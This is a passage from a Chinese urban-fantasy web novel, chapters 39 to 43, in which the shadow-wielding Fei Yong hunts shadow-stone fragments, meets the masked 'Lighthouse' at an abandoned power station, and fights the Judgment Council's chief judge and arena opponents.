林悦刚想说什么,通讯器突然发出阵轻微的震动。三人对视一眼,看到投射出的文字变了:裁决会据点分布图已同步,注意标注红三角的位置——老鬼。
地面上瞬间展开幅全息地图,比王科长U盘里的详细十倍,每个据点旁都标注着守卫数量和异能类型。最引人注目的是七个红三角,其中一个就在晨曦医院地下三层,备注写着:影石碎片(已激活)。
“这是……”林悦的眼睛亮了,“我父亲当年拷贝的资料,很可能就藏在那里!”
费勇的目光却落在另一个红三角上——青禾堂密室,备注是:影石碎片(待激活),守护者:苏明哲(已故)。“苏明哲是你爷爷?”
苏清月的脸色白了下:“我爷爷去世前确实说过,他在守护一样很重要的东西……原来就是影石碎片。”她的指尖微微颤抖,“古籍里说,影石需要特定的能量才能激活,难道……”
“难道需要你的生命能量?”费勇接过话头,影子里的金色纹路突然指向晨曦医院的方向,“看来我们得兵分两路——林悦,你去查医院的资料;清月,你想办法激活青禾堂的影石;我去会会灯塔。”
“不行!”林悦和苏清月同时反对。
“废弃电站太危险,”林悦的语气带着不容置疑的强硬,“我陪你去。”
苏清月则拿出个小巧的金属盒:“这里面是我提炼的植物精华,能在紧急情况下强化你的影子防御。”她的眼神很认真,“一定要小心,灯塔的目的不明,不能全信。”
费勇笑了笑,影子轻轻拍了拍两人的手背:“放心,我又不是第一次闯险地了。”他看了眼腕表,“风行者说裁决会的巡逻队快到了,我们先撤。”
三人刚走出后巷,费勇的通讯器突然又亮了,这次投射出的不是文字,而是段模糊的影像——沙漠里的影石阵正在发光,七个穿着白大褂的人围着阵眼,其中一个正是年轻时的王科长,而站在阵眼中央的,是个熟悉的身影。
“是我父亲!”费勇的呼吸一滞。
影像里的费父正举着块影石,对着月亮的方向念着什么,影子在地面上扭曲成巨大的形状,与影石阵的纹路完美契合。突然,阵眼爆出刺眼的白光,画面瞬间中断。
“这是……”苏清月的脸色变了,“古籍里记载的‘影石献祭’仪式,据说能暂时封印住失控的能量,但需要献祭者的影子作为媒介……”
林悦的脸色也很难看:“所以你父亲的影子……”
“碎成了无数片,”费勇低声道,想起天台上父亲的虚影,“而我继承的,就是其中一片。”他握紧拳头,手环的晶体微微发烫,“这就是灯塔要见我的原因——他知道影石阵的秘密,知道我父亲的事。”
远处传来警笛声,特调科的巡逻车正在靠近。风行者留下的残影早已消失,仿佛刚才的见面只是场幻觉。费勇看了眼手腕上的通讯器,晶体里的虹彩依旧流动,像在催促着什么。
“明晚见。”费勇冲两人点点头,影子突然融入地面,发动了影遁。他能感觉到通讯器在引导着方向,金色纹路与城市的阴影产生共鸣,像条无形的线,将他与某个未知的存在连接在一起。
回到星海学院时,图书馆已经闭馆。费勇翻墙进入后院,老鬼的废品收购站还亮着灯,收音机里正播放着十年前的老歌。“来了?”老鬼头也不抬地整理着旧书,“风行者那小子没给你添堵吧?”
“他说灯塔不是慈善家。”费勇坐在堆旧报纸上,“你早就知道我会继承父亲的能力?”
老鬼叹了口气,从抽屉里拿出个泛黄的笔记本:“你父亲当年把这个交给我,说如果有一天你能操控影子,就把它给你。”笔记本的封面印着“影石研究日志”,翻开第一页,是张全家福——年轻的费父费母抱着个婴儿,背景是晨曦医院的大门。
“这是……”费勇的手指抚过照片,眼眶发热。
“十年前拍的,”老鬼的声音有些沙哑,“那时候你刚满一岁,你父亲说,要让你在没有异能纷争的世界里长大。”他指着日志里的一幅画,“这是影石阵的完整结构图,你父亲画的。”
画纸上,七个影石的位置构成了个完美的圆,中心标注着“暗影本源”四个字。费勇突然注意到,每个影石的旁边都写着个名字,其中一个是“苏明哲”,另一个是“林正”。
“我爷爷和林悦的父亲,都参与了影石阵?”
“不仅参与了,”老鬼点了支烟,“他们还是你父亲最信任的人。可惜啊……”他没再说下去,只是拍了拍费勇的肩膀,“明晚去见灯塔吧,有些事,确实该让你知道了。”
费勇收起笔记本,手腕上的通讯器突然闪烁起来,投射出最后条信息:裁决会的审判长已经盯上废弃电站,带好你的影子——老鬼。
他抬头看向窗外,月光把图书馆的影子拉得很长,像条沉默的巨蟒。费勇知道,明天晚上的会面,绝不会只是简单的“见个面”——那将是揭开十年前真相的开始,也是与裁决会真正的交锋。
第40章:蒙面的灯塔
废弃电站的铁门被夜风撞得吱呀作响,铁锈簌簌往下掉。费勇站在入口处,指尖的暗影通讯器微微发烫,晶体里的虹彩在黑暗中明明灭灭,像某种神秘的指引。他深吸一口气,推开那扇沉重的门——扑面而来的不是预想中的灰尘与霉味,而是一股淡淡的消毒水气息,混着金属被灼烧后的焦糊味。
“来了?”
一个低沉的声音从深处传来,带着点金属摩擦般的质感。费勇眯起眼,适应着室内的光线——整座电站的内壁都贴着镜子,从地面到天花板,三百六十度无死角,将他的影子折射出无数个虚像,每个虚像的轮廓上都跳动着金色纹路,像一群被困在镜中的幽灵。
他的目光穿过层层叠叠的镜像,落在电站中央的身影上。那人背对着他,穿着件洗得发白的工装外套,手里把玩着块半透明的晶体,晶体在镜光反射下泛着细碎的光斑。最引人注目的是他脸上的青铜面具,面具上刻着繁复的纹路,从额角蜿蜒至下颌,像某种古老的图腾。
“灯塔?”费勇试探着开口,声音在满是镜子的空间里荡开,被反射出无数个重叠的回音,听起来竟有些诡异。
那人缓缓转过身。
就在面具正对费勇的瞬间,费勇的影子突然剧烈地跳动了一下,像是受到了某种强烈的共鸣。他低头看去,影子边缘的金色纹路正顺着地面蔓延,与面具上的纹路精准地对接、重合,仿佛原本就是一体——那些纹路的走向、节点的位置,甚至连最细微的分叉都分毫不差。
“这不可能……”费勇下意识地后退一步,后腰撞到了身后的镜子,冰凉的触感顺着脊椎爬上来,让他打了个寒颤。通讯器在手腕上烫得惊人,晶体里的虹彩突然炸开,化作一道光带缠上那青铜面具,在接触点迸出细碎的火星。
“没什么不可能的。”灯塔抬起手,指尖抚过面具上的纹路,声音里带着一丝不易察觉的颤抖,“十年前,你父亲亲手为我刻下这面具时,就说过——当继承者的影子与面具纹路共鸣,就是真相该揭开的时候。”
他顿了顿,将手里的晶体抛给费勇。费勇伸手接住,指尖刚触碰到晶体,就感觉到一股熟悉的暖流顺着手臂蔓延——这是影石碎片!而且比他之前接触过的任何一块都要纯净,里面蕴含的能量几乎要破体而出。
“这是第七块碎片的三分之一。”灯塔的声音透过面具传来,显得有些模糊,“裁决会手里有另外三分之二,还有两块在青禾堂和晨曦医院——苏清月的爷爷和林悦的父亲,当年各守护一块。”
费勇握着影石碎片的手微微收紧:“所以苏明哲和林正,都是‘影石阵’的守护者?”
“不仅是守护者,”灯塔走到一面镜子前,抬手抚过镜中的虚像,那虚像竟随着他的动作扭曲变形,最终化作一个模糊的中年男人轮廓,“他们是你父亲最信任的战友。十年前那场‘觉醒潮’,就是因为影石阵出现裂痕,‘异能病毒’泄露才引发的——你父母为了修补阵眼,把自己的影子融进了核心石。”
这句话像一道惊雷在费勇脑海中炸开。他猛地抬头,影子在地面上剧烈翻滚,金色纹路亮得刺眼:“你说什么?我父母……他们不是失踪了?”
“在世俗意义上,确实是失踪了。”灯塔的声音低沉了许多,“但在暗影世界里,他们以另一种形式存在着——影石阵的核心石里,封存着他们的意识碎片。”他转过身,面具正对着费勇,“这也是裁决会不惜一切代价要集齐影石的原因——他们想彻底摧毁阵眼,释放病毒,让所有人类都成为异能者的奴隶,而能做到这一点的,只有继承了‘暗影本源’的你。”
费勇的呼吸急促起来,影子不受控制地扩张,覆盖了大半个电站。镜子里的无数个虚像也随之膨胀,每个虚像都化作他父亲或母亲的模样,伸出手似乎想触碰他,却又在接触的前一刻消散。
“所以你组建‘破晓’,就是为了阻止裁决会?”费勇的声音带着一丝不易察觉的颤抖——他不是在怀疑,而是在确认一个埋藏了十年的希望。
灯塔没有立刻回答,而是走到费勇面前,缓缓抬起手,似乎想摘下脸上的面具。就在指尖触碰到面具边缘的瞬间,整个电站突然剧烈地震动起来,镜子表面浮现出密密麻麻的裂纹。通讯器在费勇手腕上疯狂闪烁,投射出一行刺眼的红光:
【裁决会审判长已突破外围防线,携带重武器接近!】
费勇的影子瞬间绷紧,化作一道坚实的屏障挡在身前。灯塔也迅速后退,双手结印,整座电站的镜子突然同时亮起,将所有光线聚焦成一道光柱射向入口——这是破晓的防御机制!
“看来我们的谈话要提前结束了。”灯塔的声音重新变得沉稳,“记住,影石碎片需要‘共鸣’才能激活——苏清月的生命能量能唤醒青禾堂的那块,林悦的雷霆之力能激活医院的碎片,而你,需要找到与自己影子共鸣的方法。”
他顿了顿,补充道:“老鬼会给你下一步的指示,风行者会负责接应。”说罢,他的身影突然融入身后的镜子,镜面上的纹路亮起又迅速黯淡,仿佛从未有人存在过。
费勇握紧手中的影石碎片,影子里的金色纹路与碎片产生共鸣,散发出柔和的光芒。他看着入口处不断蔓延的裂纹,听着外面传来的轰鸣声,深吸一口气——十年的迷雾终于散开一角,接下来要做的,就是带着父母的意志,和裁决会正面交锋。
镜子突然“哗啦”一声碎裂,无数碎片中,一个穿着黑色风衣的身影缓缓走进来,脸上带着个银色的审判面具,正是裁决会的审判长。他的目光落在费勇身上,带着毫不掩饰的贪婪:“‘暗影本源’的继承者,终于找到你了。”
费勇的影子猛地展开,将散落的镜子碎片包裹其中,化作无数把锋利的影刃:“想要影石?先问过我的影子。”
影刃呼啸着射向审判长,在接触到对方周身能量场的瞬间爆发出刺眼的光芒。费勇知道,真正的战斗,现在才刚刚开始。
第41章:审判长的底牌
影刃撞上审判长周身的能量场时,发出了玻璃碎裂般的脆响。费勇眼睁睁看着那些凝结了暗影能量的利刃瞬间崩解,化作无数黑色光点,像被狂风卷走的灰烬。他握紧手中的影石碎片,指节因用力而发白——这是他第一次遇到能如此轻易击溃暗影具象化的对手。
审判长摘下脸上的银色面具,露出张没什么表情的脸,唯有眼角的疤痕在镜光下格外显眼。“十年前,我见过你父亲用同样的招式。”他活动着手腕,黑色风衣下露出半截金属护腕,上面刻着裁决会的徽记,“可惜,他的影子比你的完整多了。”
费勇的影子突然在地面上竖起道屏障,将飞溅的玻璃碎片挡在外面。“你认识我父亲?”
“何止认识。”审判长冷笑一声,猛地按下护腕上的按钮。刹那间,黑色的能量场以他为中心炸开,电站里残存的镜子应声碎裂,碎片在空中悬浮成尖锐的菱形,折射出无数个扭曲的人影。“当年就是我亲手‘审判’了他——现在,该轮到你了。”
能量场中突然涌出三个执法者的虚影,穿着裁决会的黑色制服,手里握着闪烁着蓝光的异能抑制器。虚影的动作僵硬却精准,呈品字形朝费勇包抄过来,所过之处,地面的暗影能量都像被灼烧般退缩。
“这是……‘记忆具象化’?”费勇瞳孔微缩。他曾在老鬼的笔记里见过这种异能——能将战斗记忆转化为实体虚影,虽然威力只有本体的三成,却能完美复刻招式。他迅速后退,影子在身后分裂成无数条细线,像灵活的蛇般缠向虚影的脚踝。
这是他刚才与影石碎片共鸣时领悟的新能力——影傀儡。细线接触到虚影的瞬间,突然爆发出金色的纹路,将三个执法者牢牢捆在原地。费勇趁机发动影遁,身形在暗影中闪烁,绕到审判长身后,凝聚出柄比之前更长的影刃,直刺对方后心。
“太慢了。”审判长的声音毫无波澜。他甚至没回头,只是抬手抓住了影刃的尖端。黑色的能量顺着影刃蔓延,所过之处,金色纹路迅速黯淡下去。“你的影子太弱,连我的能量场都穿不透——这样也想继承暗影本源?”
费勇感到一股强大的吸力从影刃传来,体内的暗影能量像开闸的洪水般流失。他咬牙松开手,借着后坐力后退数米,影子在地面上剧烈起伏,仿佛在痛苦地喘息。“裁决会到底想从影石里得到什么?”
“得到‘新生’。”审判长捏碎手中的影刃,黑色能量在他掌心凝聚成颗光球,“异能病毒泄露只是个意外,但我们发现,影石能吸收病毒能量——只要集齐七块碎片,就能制造出完美的异能者,彻底取代普通人。”他将光球抛向空中,“而你父亲,就是因为阻止这个计划才被灭口。”
光球在空中炸开,化作无数黑色的光点,落在地上生根发芽,长成扭曲的藤蔓,缠向费勇的脚踝。这是裁决会的“病毒具象化”,能污染接触到的一切能量。费勇的影子迅速将他托离地面,却还是被藤蔓擦到了小腿——接触的地方,金色纹路瞬间变成了灰黑色。
“感觉到了吗?”审判长的声音带着恶意的愉悦,“这就是你父亲当年承受过的痛苦。”
费勇突然想起老鬼笔记里的话:“纯净的暗影能量是黑色带金纹的,浑浊的是纯黑……”他深吸一口气,强迫自己冷静下来,集中精神筛选体内的能量。那些被污染的灰黑色能量被影子剥离出去,化作青烟消散,留下的金色纹路虽然黯淡,却更加凝练。
“有点意思。”审判长挑眉,“看来灯塔教了你不少东西。”他突然提高音量,“可惜,你今天还是得死在这里——裁决会的‘清理部队’已经到了,整个电站都被能量罩封锁,连只苍蝇都飞不出去。”
费勇的通讯器突然震动起来,风行者的声音带着电流的杂音传来:“费勇!我在西侧围墙外!能量罩有个缺口,是老鬼用异能硬生生撕开的,只能撑三分钟!”
“想跑?”审判长的能量场再次扩张,三个执法者的虚影挣脱影傀儡的束缚,手里的抑制器射出蓝色的光束,“先问问我的虚影同意不同意!”
费勇看着步步紧逼的虚影,突然笑了。他的影子猛地沉入地面,电站的阴影里涌出大量黑色的能量,在半空中汇聚成个巨大的漩涡——这是他第一次尝试使用“影界领域”。领域展开的瞬间,所有虚影的动作都慢了半拍,仿佛陷入了泥沼。
“这招不错。”审判长的语气终于有了点波动,“但还不够。”他突然冲进漩涡,黑色能量与暗影领域碰撞,发出雷鸣般的响声。“当年你父亲用这招困住了我十分钟——你能撑几秒?”
费勇没回答,只是操控着领域内的暗影能量,不断压缩审判长的活动范围。他能感觉到体内的能量在快速消耗,影子边缘的金色纹路越来越淡,但他没有退缩。脑海中闪过父亲的虚影、阿杰最后空洞的眼神、王科长嘴角的血迹——这些人用生命换来的线索,绝不能断在他手里。
“还有一分钟!”风行者的吼声从通讯器传来。
费勇猛地收缩领域,将所有暗影能量凝聚成一点,然后瞬间引爆。剧烈的冲击波将审判长和虚影同时掀飞出去,电站的墙壁被炸开个大洞,露出外面夜色中的星空。他趁机冲出缺口,影子在身后化作屏障,挡住了审判长射来的黑色能量球。
“下次见面,我会带走你的影子。”审判长的声音从烟尘中传来,带着不甘的愤怒。
费勇没回头,只是朝着风行者的方向狂奔。他的影子拖在身后,虽然黯淡,却依旧顽强地跳动着金色的纹路。通讯器在手腕上发烫,老鬼的信息跳了出来:【青禾堂和晨曦医院的影石有危险,速去支援——附:地下格斗场的入场券已备好】
他跃过围墙,看到风行者靠在辆破旧的摩托车旁,嘴里叼着根烟。“跑得比我想象中慢。”对方扔给他个头盔,“苏清月刚才传来消息,青禾堂被裁决会的人围攻了——她用生命能量激活了影石,现在被困在密室里。”
费勇接过头盔,扣在头上的瞬间,影子里的金色纹路突然亮了一下。他跨上摩托车,看着风行者:“去青禾堂。”
风行者吹了声口哨,拧动油门:“早该这样了。”
摩托车的引擎声划破夜空,费勇回头望了眼被能量罩笼罩的废弃电站,握紧了口袋里的影石碎片。他知道,这只是开始——审判长的话像根刺扎在他心里,关于父亲的真相、影石的秘密、裁决会的计划……还有太多谜团等着他解开。
第42章:异能者的角斗
地下格斗场的铁门被风行者一脚踹开时,铁锈味混着血腥味扑面而来。费勇站在入口阴影里,看着场内被铁链拴住的异能者互相撕扯,观众席爆发出野兽般的哄笑,喉结不自觉地滚动了一下。
“欢迎来到裁决会的‘筛选场’。”林悦的声音从通讯器传来,带着电流的滋滋声,“穿黑西装的都是裁判,手里的金属棍能释放异能抑制射线,别被打中。”她顿了顿,补充道,“我混在观众席东南角,穿红色外套,需要支援就打碎头顶第三盏灯。”
费勇没应声,指尖在暗影通讯器上敲了敲——风行者发来的参赛名单显示,他的第一个对手是“铁臂”,异能是金属化皮肤,连续十七场连胜。他摸了摸口袋里的影石碎片,碎片传来微弱的震颤,像是在呼应场内混乱的能量波动。
“下一场,铁臂对阵……新人‘影’!”扩音器里的声音像砂纸摩擦,费勇被工作人员推搡着走进场。沙地被血浸透成深褐色,铁臂站在场地中央,双臂泛着冷硬的金属光泽,唾沫星子喷在地上:“又来个送死的?让你见识下什么叫真正的异能!”
观众席的口哨声浪差点掀翻屋顶。费勇的影子在地面上悄然铺开,顺着沙地的裂缝蔓延,像水流般绕到铁臂脚边。他注意到对方脖颈处有块皮肤没被金属覆盖,那里的血管正随着呼吸跳动——这是林悦教他的观察技巧:再强的异能者也有能量循环的薄弱点。
“小子,发什么呆?”铁臂的拳头带着破空声砸过来,费勇侧身躲开的瞬间,影子突然竖起道屏障,堪堪挡住飞溅的沙砾。他没硬接,借着闪避的惯性绕到铁臂身后,影刃顺着对方脊椎的缝隙刺下去——那里是金属化能力最难覆盖的地方。
“铛”的一声脆响,影刃被弹开,铁臂猛地转身,肘部撞向费勇胸口。费勇借着冲击力后翻,影子在落地时化作绳索,缠住对方的脚踝。这是他新练的影傀儡技,能模拟铁链的束缚感,虽然强度远不及实物,却足够迟滞动作。
“玩影子的小把戏?”铁臂狞笑着绷紧肌肉,金属光泽蔓延到脚踝,影子绳索瞬间被挣断。他大步上前,双拳交替挥出,拳风扫过的地方,沙地被碾出两道深沟。费勇的影遁在密集攻击下有些狼狈,肩膀被擦到的地方火辣辣地疼——对方的金属化连拳风都带着割裂感。
观众席的哄笑渐变成不耐烦的嘘声。费勇瞥了眼东南角,林悦的红色外套在人群里格外扎眼,她正用矿泉水瓶敲着栏杆,节奏是三短一长——这是“目标在移动”的暗号。他突然想起苏清月的话:“所有物质都有能量缝隙,包括金属。”
铁臂的右拳再次砸来时,费勇没有躲闪。他的影子顺着对方的手臂攀援而上,在金属皮肤的接缝处凝聚成针尖大小的影刺。就在拳头即将击中他面门的瞬间,影刺猛地扎进铁臂肘部的能量节点——那里是金属化能力的能量枢纽。
“呃!”铁臂的拳头僵在半空,金属光泽以肉眼可见的速度褪去,露出底下淤青的皮肤。费勇趁机后退半步,影刃横扫,精准地劈在对方膝盖后方的筋络上。铁臂轰然倒地时,费勇的影子已经缠住了他的脖颈,只要再用力一分,就能拧断对方的气管。
“停!‘影’胜!”裁判举着金属棍跑来,脸上的横肉抖了抖,“新人不错啊。”
费勇没松开影子,直到裁判亮出腰间的抑制器,才让暗影缓缓退去。他离场时故意撞了下裁判的肩膀,影子趁机扫过对方的口袋——里面有串钥匙,其中一把的齿痕和林悦发来的VIP包厢锁孔图案完全吻合。
“干得漂亮。”风行者在通道拐角等他,递来瓶水,“下一场在一小时后,对手是‘毒藤’,异能是分泌腐蚀性汁液,小心她的头发,那玩意能当鞭子用。”他压低声音,“苏清月那边有动静,青禾堂的植物突然集体枯萎,她怀疑有人在地下管道投了抑制剂。”
费勇拧瓶盖的手顿了顿。影石碎片的震颤突然变得剧烈,他低头看去,碎片表面浮现出藤蔓状的纹路,和苏清月的生命绿藤一模一样。“格斗场的管道系统图,能弄到吗?”
“早给你备着了。”风行者甩出张全息地图,“红色标记是裁决会的守卫,绿色是通风口。对了,刚才VIP包厢有人在打听你,穿黑色礼帽的,气场很强。”
费勇的影子突然在地图上圈出个位置——那是管道交汇处的检修井,离VIP包厢只有一墙之隔。他想起灯塔说过,影石能感知同源能量,看来碎片和青禾堂的影石产生了共鸣。
“毒藤的比赛我晚点到。”他把地图折好塞进口袋,“帮我拖延十分钟。”
风行者挑眉:“你想单干?那地方至少有三个执法者守着。”
“不是单干。”费勇的影子顺着通风口的缝隙钻进去,在金属管壁上留下淡淡的暗影痕迹,“是借点东西。”
检修井的盖子比想象中沉。费勇用影刃撬开缝隙时,闻到股甜腻的香味——是毒藤的腐蚀性汁液,看来有人比他先到。他屏住呼吸,影子化作薄膜贴在井壁,像壁虎般无声下滑。
井底果然有三个执法者,不过已经倒在地上,皮肤被腐蚀出蜂窝状的孔洞。毒藤蹲在管道阀门前,紫色的长发垂在地上,根须般的发丝正往阀门缝隙里钻。“新来的影子小哥?”她头也没回,声音像浸了蜜,“想抢裁决会的‘好东西’?”
费勇没说话,影刃在掌心蓄势。他注意到毒藤的脚踝处缠着圈枯萎的藤蔓,那是苏清月的生命绿藤——看来她也在找抑制剂的源头。
“别紧张,我和青禾堂没仇。”毒藤轻笑一声,阀门被她硬生生拧开,墨绿色的液体顺着管道流走,“我妹妹在青禾堂当学徒,裁决会拿她们当试验品,我只是来讨点利息。”她转过身,脸上画着诡异的花纹,“听说你能操控影子?帮个忙如何?VIP包厢的通风管被金属网封死了,你的影子能穿过去吗?”
费勇的影子突然指向她身后——管道深处,影石碎片的震颤越来越强,那里应该就是影石交易的藏匿点。他指尖微动,暗影顺着毒藤的发丝蔓延,在通风口的金属网上蚀出个小洞:“成交,但影石归我。”
“成交。”毒藤的发丝突然暴涨,缠住头顶的钢筋,“抓紧了,裁判们快醒了。”
上升的瞬间,费勇看到执法者尸体旁的通讯器在闪烁,屏幕上跳出“审判长已抵达”的字样。他的影子迅速覆盖住通讯器,将信号屏蔽在暗影领域里——这场角斗,显然不止是筛选那么简单。
观众席的灯光突然暗下来。费勇从通风口翻出来时,正好落在VIP包厢的窗帘后,透过缝隙,他看到戴黑礼帽的男人正把玩着块影石,石头里游动着黑色的藤蔓,和青禾堂的守护藤一模一样。
“影子异能者?”男人转过身,礼帽下露出道横贯脸颊的疤痕,正是之前在电站遇到的审判长,“比你父亲当年急功近利多了。”他将影石抛起来又接住,“想要?打赢下一场再说。”
影石在空中划过的弧线突然顿住——费勇的影子缠住了它。两股暗影能量在半空碰撞,包厢的玻璃瞬间布满裂纹。审判长的眼神冷下来:“看来灯塔教了你不少本事,但还不够。”
费勇没接话,影石碎片从口袋里飞出来,与空中的影石产生共鸣。他突然明白,所谓的格斗场交易根本是幌子,裁决会是想借此引诱所有影石持有者现身。
“下一场的对手,是‘骨魔’。”审判长的声音带着笑意,“他最喜欢嚼碎暗影系的骨头了。”
通讯器突然震动,林悦的声音带着急促的喘息:“费勇!骨魔进场了,他的骨骼能吸收暗影能量!”
费勇的影子猛地收紧,将半空中的影石拽过来,却在触碰到的前一秒被审判长的能量场弹开。他看着影石重新落回对方手中,突然意识到——这场角斗从一开始,就是冲他来的狩猎。
“记住,”审判长的身影融入阴影,只留下声音在包厢回荡,“输的人,连影子都会被碾碎。”
费勇握紧影石碎片,碎片的震颤越来越急,像是在催促,又像是在警告。他推开包厢门,看到骨魔已经站在场地中央,对方的骨骼正泛着和影石相似的黑色光泽,观众席的欢呼声浪里,他仿佛听见苏清月在青禾堂的喘息,听见林悦捏碎矿泉水瓶的脆响,听见风行者在通道里点燃香烟的火苗声。
影子在脚下翻涌,金色纹路比任何时候都要明亮。费勇走进场地时,对着通讯器轻声说:“林悦,打碎东南角的灯。风行者,准备接应。”
他抬头看向骨魔,影刃在指尖凝结成从未有过的长度:“这场,我赢定了。”
第43章:影子的绞杀
骨魔的笑声像生锈的铁链在摩擦,他活动脖颈时,脊椎骨发出噼里啪啦的脆响,每节骨头都在皮肤下凸起,像串被强行串起来的黑色珊瑚。费勇盯着他裸露的小臂——那里的皮肤早已溃烂,露出底下泛着金属光泽的骨骼,骨缝里还卡着些黑色的碎屑,细看竟与影石碎片的质地一模一样。
“听说你能操控影子?”骨魔突然扯开上衣,胸腔里的肋骨根根竖起,像只张开的捕兽夹,“正好,我最近缺副新的‘骨饰’,暗影系的影子做材料最合适不过了。”
观众席的欢呼声浪几乎要掀翻屋顶。费勇眼角的余光瞥见东南角,林悦的红色外套已经消失,头顶第三盏灯正微微晃动——她开始行动了。他深吸一口气,影子在地面上悄然织成网状,金色纹路随着呼吸轻轻起伏,像在积蓄力量。
“别浪费时间了。”骨魔猛地跺脚,地面裂开蛛网般的缝隙,黑色的骨刺从裂缝中钻出,直刺费勇的脚踝。这是他的惯用伎俩,先用骨骼封锁对手的移动范围,再趁机吸收对方的能量。费勇的影遁发动得极快,身形在暗影中闪烁的瞬间,骨刺已经刺穿了他刚才站立的位置,刺尖还在微微颤动,贪婪地吸收着残留的暗影能量。
“躲得挺快。”骨魔的手臂突然拉长,尺骨与桡骨像望远镜般节节伸长,末端化作锋利的骨刺,横扫过来。费勇的影盾及时竖起,却在接触骨刺的刹那发出刺耳的刮擦声——盾面竟被划出三道深沟,黑色的能量顺着划痕迅速流失,被骨刺吸收得一干二净。
“怎么样?知道骨骼异能的厉害了吧?”骨魔狞笑着逼近,每走一步,地面就多出一片凸起的骨林,“暗影能量在我面前就是养料,你越是操控影子,死得就越快。”
费勇没说话,只是默默操控着影子顺着骨林的缝隙蔓延。他注意到骨魔每次吸收能量时,太阳穴都会微微跳动,那里的皮肤异常苍白——这是能量循环过载的征兆。看来审判长为了强化他的能力,强行往他体内植入了影石碎片,导致他的骨骼出现了排斥反应。
“不说话?是怕了吗?”骨魔的肋骨突然外翻,形成一圈旋转的骨刃,朝着费勇所在的位置碾压过来。空气被骨刃切割得发出尖啸,连光线都仿佛被扭曲成螺旋状。费勇突然矮身,影子贴着地面猛地向前涌动,不是攻击,而是缠住了骨魔的影子。
这是他在废弃电站领悟的影傀儡技的变种——影绞。不同于普通的束缚,影绞能直接作用于对手的影子本源,通过扭曲影子来迟滞实体动作。骨魔的动作果然顿了半秒,旋转的骨刃出现了一丝微小的偏差。
就是现在!费勇的指尖泛起微弱的电光——赛前他特意蹭了蹭林悦的影子,复制了她十分钟的雷霆之力。他将电流注入影绞,金色的暗影纹路瞬间被蓝色的电光覆盖,像张通电的巨网,牢牢捆住了骨魔的影子。
“呃啊——”骨魔发出一声惨叫,被影绞缠住的地方突然冒出黑烟,骨骼表面的金属光泽以肉眼可见的速度褪去,露出底下血肉模糊的组织。电流顺着影子传导到他体内,干扰了骨骼对能量的吸收,那些被强行植入的影石碎片开始反噬,在骨缝里剧烈震颤。
观众席的欢呼声戛然而止。费勇趁机发动影遁,绕到骨魔身后,影刃凝聚起全身的暗影能量,朝着对方后心刺去——那里是骨骼异能最难覆盖的位置,也是影石碎片聚集最多的地方。
“想偷袭?”骨魔猛地转身,左臂化作面巨大的骨盾,挡住了影刃的攻击。但他显然低估了电流与暗影的组合威力,骨盾接触影刃的瞬间,就被电流击穿了个洞,影刃顺势刺入,虽然只进去寸许,却足以让更多的暗影能量涌入他体内。
“你找死!”骨魔彻底暴怒,全身骨骼爆发出刺眼的黑光,那些被植入的影石碎片开始疯狂吸收周围的能量,连观众席的影子都被他扯向场内,化作黑色的气流钻入他的骨缝。他的体型以肉眼可见的速度膨胀,骨骼撑破皮肤,化作个由骨刺组成的巨大怪物,只有那双眼睛还保留着人类的形状,充满了贪婪与痛苦。
费勇的影绞在对方的能量冲击下逐渐松动。他能感觉到自己的暗影能量正在被快速抽离,影子的金色纹路越来越淡,仿佛随时都会熄灭。就在这时,通讯器突然震动,风行者的声音带着急促的喘息传来:“苏清月搞定了抑制剂,青禾堂的植物开始复苏了!她让我告诉你,骨魔体内的影石碎片不稳定,用生命能量能刺激它爆炸!”
生命能量?费勇的影子突然想起苏清月的生命绿藤。他猛地咬破指尖,将鲜血滴在影刃上——血液中蕴含着微弱的生命能量,虽然远不及苏清月的绿藤,却足够成为引爆的引子。影刃瞬间爆发出耀眼的绿光,与骨魔体内的影石碎片产生了强烈的共鸣。
“不——”骨魔感觉到体内的异动,想要后退却被影绞牢牢捆住。那些影石碎片在生命能量的刺激下剧烈震颤,开始反噬他的骨骼,黑色的汁液顺着骨缝渗出,落在地上腐蚀出滋滋作响的小洞。
费勇没有给对方任何喘息的机会。他操控着影绞突然收紧,将所有的电流与暗影能量压缩成一点,然后猛地引爆。剧烈的爆炸在骨魔体内发生,那些被植入的影石碎片化作无数黑色的光点,与费勇的影子产生了共鸣,在空中凝聚成条金色的光带,缓缓落入他的掌心——这是骨魔吸收的那部分暗影能量,此刻竟成了他的养料。
骨魔的身体在爆炸中四分五裂,那些失控的骨骼碎片在空中飞行时,突然被道红色的电流击中,化作灰烬。林悦不知何时出现在场边,右手还维持着释放电流的姿势,左手拿着个正在冒烟的仪器——那是裁决会的能量***。
“发什么呆?快走!”林悦冲他大喊,电流在她周身噼啪作响,“我刚才在监控室看到,审判长启动了场内的自爆装置,还有五分钟就炸了!”
费勇这才回过神,掌心的金色光带已经融入影子,那些黯淡的金色纹路重新亮了起来,比之前更加凝练。他刚想发动影遁,却注意到骨魔的残骸中,有块碎片没有被电流击中,而是化作道黑影,朝着VIP包厢的方向飞去——那是块完整的影石碎片!
“你先走,我去拿影石!”费勇冲林悦喊了一声,影子突然化作道黑色的闪电,追向那块碎片。他能感觉到碎片在快速移动,似乎被某种力量牵引着,而那股力量的源头,正是VIP包厢。
林悦骂了句脏话,却还是转身挡在了出口,电流在她身前织成道电网,拦住了那些想要阻拦的裁判:“三分钟!我只能挡三分钟!”
费勇的影遁在VIP包厢的门口停下。这里的门已经被炸开,审判长正站在窗边,手里拿着那块影石碎片,脸上带着诡异的笑容:“看来你比你父亲更懂得利用机会。”他将碎片抛向费勇,“接住它,然后带着它去死——这是你作为‘暗影本源’继承者的宿命。”
费勇接住影石碎片的瞬间,就感觉到一股强大的能量从碎片中涌出,与自己的影子产生了共鸣。但他同时也感觉到了不对劲——碎片里藏着股熟悉的能量波动,和裁决会的炸弹一模一样。
“想炸我?”费勇冷笑一声,影子突然化作个巨大的漩涡,将影石碎片包裹其中。他操控着漩涡猛地转向,将碎片朝着审判长掷去——既然对方想用影石杀他,那他就用影石反击。
审判长显然没料到他会这么做,仓促间释放出黑色的能量场,想要挡住碎片。但他低估了影石碎片与费勇影子的共鸣之力,碎片穿过能量场的瞬间,突然爆炸,巨大的冲击波将整个VIP包厢夷为平地,审判长的身影在烟尘中消失不见。
费勇趁机发动影遁,冲出格斗场。外面,风行者的摩托车已经在等着了,林悦正靠在车边,用电流修复着被打坏的后视镜,嘴里还在碎碎念:“下次再敢单独行动,我就把你的影子电成焦炭……”
费勇跳上摩托车,影子在身后化作屏障,挡住了格斗场方向传来的冲击波。他低头看了看掌心,那里残留着影石碎片的能量,与自己的影子完美融合,金色纹路比之前更加明亮。
